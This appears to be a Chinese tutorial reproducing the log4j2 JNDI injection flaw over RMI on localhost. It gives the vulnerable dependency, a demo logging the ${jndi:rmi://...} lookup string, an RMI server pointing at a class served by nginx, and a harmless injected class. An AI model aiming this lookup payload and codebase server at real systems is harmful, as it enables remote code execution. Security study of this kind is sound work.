log4j2 远程代码注入漏洞 JNDI + RMI demo

网上已经有大量的资料讲解了漏洞的原因和发展过程,我主要写实现过程  

所以在jdk>1.8.0_181 时除非用户自己开启了com.sun.jndi.rmi.object.trustURLCodebase配置,否则漏洞是无法通过rmi来实现的,但是这也并不是说jdk>1.8.0_181 就不用担心这个漏洞,因为还可以使用ladp。

本篇主要将rmi的实现方式

依赖:

     <!--log4j 版本< 2.15即可 -->
<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.12.1</version>
      </dependency>
      <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.12.1</version>
      </dependency>

log4j2.xml  放在resources 目录下

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{YYYY-MM-dd HH:mm:ss} [%t] %-5p %c{1}:%L - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

日志打印demo

bug是否能复现与jdk 有关,在jdk1.8要开启

com.sun.jndi.rmi.object.trustURLCodebase 才可以复现bug

所以在jdk>1.8.0_181 时除非用户自己开启了配置否则bug是无法实现的

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jDemo {
    private static final Logger LOGGER = LogManager.getLogger();

    public Log4jDemo() {
    }

    public static void main(String[] args) {
            
        //jdk1.8 默认关闭了这个配置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        try {
            String name = "${jndi:rmi://127.0.0.1:1099/test}";
            String os = "${java:os}";
            LOGGER.info("tanjunchen");
            LOGGER.info("tanjunchen {}", os);
            LOGGER.info("Hello test,{}", name);
        } catch (Exception var3) {
        }

    }
}

RMI

RMI 是远程方法调用协议 

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

public class RMIServer {
    public RMIServer() {
    }

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Local Registry RMI in 1099");
            // 类名 和类的全名  和nginx地址
            Reference reference = new Reference("Test", "xxx.Test", "http://127.0.0.1:80/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("test", referenceWrapper);
        } catch (Exception var4) {
            var4.printStackTrace();
        }

    }
}

Test 类

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Test implements ObjectFactory {




    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("--------被注入代码了--------");
        return null;
    }

}

将Test类编译好后连同包名复制到nginx 文件目录下

nignx下载地址 nginx: download

 解压后  使用 start nginx.exe 命令启动即可

验证nginx 是否启动成功  浏览器输入  http://127.0.0.1:80/

 nginx 使用默认配置即可 config/nginx.conf

 将class文件连同包复制到html目录下即可

 

 先启动RMIService  再启动 Log4jDemo  

运行结果

10:47:57.601 [main] INFO  com.mikeal.kafkatest.Log4jDemo - tanjunchen
10:47:57.601 [main] INFO  com.mikeal.kafkatest.Log4jDemo - tanjunchen Windows 10 10.0, architecture: amd64-64
-----代码被注入了-------
10:47:57.601 [main] INFO  com.mikeal.kafkatest.Log4jDemo - Hello attack,${jndi:rmi://127.0.0.1:1099/test}

Process finished with exit code 0

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>